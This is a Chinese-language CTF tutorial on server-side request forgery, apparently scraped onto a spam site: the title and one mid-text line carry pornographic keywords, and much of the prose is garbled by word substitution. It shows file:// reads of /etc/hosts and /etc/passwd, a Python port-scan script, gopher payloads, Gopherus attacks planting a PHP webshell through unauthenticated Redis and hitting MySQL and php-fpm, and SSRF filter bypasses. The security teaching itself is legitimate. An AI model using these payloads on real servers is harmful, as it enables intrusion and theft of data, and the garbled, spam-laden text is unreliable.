在线av 国产 CTFWEB-SSRF篇

发布日期:2024-10-09 23:04    点击次数:121

在线av 国产 CTFWEB-SSRF篇

什么是ssrf在线av 国产

SSRF (Server-Side Request Forgery) 即处事端请求伪造,从字面兴致上领路即是伪造一个处事端请求,也即是说挫折者伪造处事端的请求发起挫折,挫折者借由处事端为跳板来挫折指标系统。

既然是跳板,也即是标明挫折者是无法平直访谒指标处事的,为了让全球更好的领路这个历程,我从网上找了一张图,贴在了底下。

图片

一句话记忆:

领域处事端使用指定合同访谒指定的url。让对方主机去访谒咱们访谒不到的url,拿到咱们正本拿不到的数据

错误利用要求

1 对方能帮我访谒url,处事端有吸收url地址并进行访谒的功能

2 url地址外部可控

SSRF的利用面大肆文献读取

前提是知说念要读取的文献名,然后再使用file://合同读取文献

图片

作念题时,如若不错读文献,不错尝试平直蒙flag文献名。

实战情况下,咱们还能用读/etc/hosts来赢适合前主机的ip。权限高的情况下还不错尝试读取 /proc/net/arp或者 /etc/network/interfaces来判断面前机器的鸠合情况

图片

得到主机内网地址就不错进行后续的探伤内网资源了

探伤内网资源

端口扫描

SSRF 常协作 DICT 合同探伤内网端口绽放情况,但不是通盘的端口都不错被探伤,一般只可探伤出一些带 TCP 回显的端口,咱们不错使用py写一个剧本发请求,或者使用bp爆破。

咱们拿一王人例题来演示:ctfhub手段树ssrf端口扫描

翻开题目url为:

http://challenge-d40e76290d36996f.sandbox.ctfhub.com:10800/?url=

咱们使用dict合同+burp爆破

图片

爆破效能8699端口复返长度不同

图片

咱们访谒,拿到flag

图片

底下是一个毛糙的python探伤剧本(这个剧本只针对这说念题,具体环境具体修改)

import requestsurl = 'http://challenge-d40e76290d36996f.sandbox.ctfhub.com:10800/?url='for port in range(8650, 9001):url_1 = url + '127.0.0.1:' + str(port)#print(url_1)res = requests.get(url_1)if 'ctfhub' in res.text:print(port, res.text)

主机扫描

不错通过访谒/etc/hosts赢得地方网段,然后进行c段扫描

使用gopher合同扩张咱们的挫折面什么是gopher合同gopher合同

界说:Gopher是Internet上一个特地著名的信息查找系统,它将Internet上的文献组织成某种索引,很绵薄地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索器具,Gopher站点亦然最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了夙昔的光泽。面前它基本逾期,东说念主们很少再使用它;gopher合同赞助发出GET、POST请求:不错先截获get请求包和post请求包,在组成顺应gopher合同的请求。gopher合同是ssrf利用中最庞大的合同

gopher合同在各个编程讲话中的使用放胆

图片

--wite-curlwrappers:讹诈curl器具翻开url流curl使用curl --version稽查版块以及赞助的合同

图片

Gopher合同顺序:
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流gopher的默许端口是70如若发起post请求,回车换行需要使用
,如若多个参数,参数之间的&也需要进行URL编码
gopher发送请求GET

那么如何发送HTTP的请求呢?举例GET请求。此时咱们联念念到,平直发送一个原始的HTTP包不就不错吗?在gopher合同中发送HTTP的数据,需要以下三步:

构造HTTP数据包

URL编码、替换回车换行径

发送gopher合同

这里使用一个PHP的代码演示,如下:

<?phpecho 'Hello '.$_GET['name'].'\n'?>

构造一个GET请求数据包

GET /ssrf/base/get.php?name=Caigo HTTP/1.1Host: 192.168.0.109

url编码后

curl gopher://192.168.0.109:80/_GET /ssrf/base/get.php?name=Caigo HTTP/1.1 Host: 192.168.0.109

在治疗为URL编码技巧有这样几个坑

问号(?)需要转码为URL编码,也即是?

回车换行要变为 ,但如若平直用器具转,可能只会有

在HTTP包的终末要加 ,代表音信松手(具体可商量HTTP包松手)

POST

演示代码

<?phpecho 'Hello '.$_POST['name'].'\n'?>

请求包(4个参数为必要参数)

POST /ssrf/base/post.php HTTP/1.1host:192.168.0.109Content-Type:application/x-www-form-urlencodedContent-Length:11name=Caigo

url编码后

curl gopher://192.168.0.109:80/_POST /ssrf/base/post.php HTTP/1.1
Host:192.168.0.109
Content-Type:application/x-www-form-urlencoded
Content-Length:11

name=Caigo

手工生成太繁难了,大无数情况下已经使用器具生成,作念个了解就行

gopherus使用

Gopherus器具是用来成心生成gopher合同的payload器具,通过gopher合同的以及各式被挫折应用的tcp包特质来构造payload

面前赞助生成payload应用有:

MySQL (Port:3306)

FastCGI (Port:9000)

Memcached (Port:11211)

Redis (Port:6379)

Zabbix (Port:10050)

SMTP (Port:25)

Redis未授权+gopher

例题:ctfhub手段树ssrf_Redis

dict探伤到redis

图片

使用gopherus生成poc,shell选php的其他默许,会在网站根目次生成shell.php文献,密码是cmd

python2 gopherus.py --exploit redis

图片

默许生成的poc粗略有些问题,冷落我方写一句话木马

mysql未授权+gopher
前提;mysql无密码,知说念用户名,比如rootpython2 gopherus.py --exploit mysql

图片

php-fpm

php-fpm 默许监听9000端口,而且只允许本机127.0.0.1这个地址访谒.要细致对.php文献的代码阐明引申  

老婆偷情

咱们不错通过向9000端口发送顺序的请求,来让9000端口背后的php-fpm帮咱们处置咱们提交的php代码

向9000端口发送php引肯求求

python2 gopherus.py --exploit fastcgi

图片

它这个文献要选拔笃定存在的文献,默许的文献可能不存在,会导致号令无法引申

php原生类ssrf

这个其实应该归为到反序列化的常识中,参考著作

https://zhuanlan.zhihu.com/p/80918004

SSRF过滤绕过

通过咱们前边的本体,不错得知独一不允许它访谒土产货地址即可,也即是说,过滤的办法是,不让访谒127.0.0.1地址,就不错阻绝ssrf

利用Enclosed alphanumerics绕过

ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> http://example.com

List:

① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

使用IP地址进制治疗

127.0.0.1用不同进制不错暗示为

2130706433 10进制 http://2130706433  017700000001 8进制 http://0177000000017F000001 16进制 http://0x7F000001
独特语法绕过

Windows 下 0 代表的是0.0.0.0

而Linux 下 0 代表的是127.0.0.1

127.0.0.1 不错不详为 127.1

127。0。0。1 不错替代127.0.0.1

302跳转

如若对方环境吸收302跳转,何况跟进302跳转

不错发送http的合同。然则复返的location为其他合同

#302.php<?php header('Location:file:///etc/passwd');//咱们需要将这个php文献放在公网上,拼接到url访谒,就能达成302跳转//payload:?url=http://[公网IP]/302.php利用短网址绕过

比如说要访谒baidu.com  然则题目不允许出现baidu字符

或者放胆了url长度,咱们不错切换为短网址,来绕过长度的放胆

旨趣即是302跳转,在线网站:http://rurl.vip/eW7AU

@记号绕过

比赛中可能会存在白名单,一定要请求某个IP或域名的情况,这个技巧在url背面跟上@记号,浏览器会访谒@背面的域名或ip

http://www.xxx.com@www.baidu.com/

图片

学无极度在线av 国产,共勉

本站仅提供存储处事,通盘本体均由用户发布,如发现存害或侵权本体,请点击举报。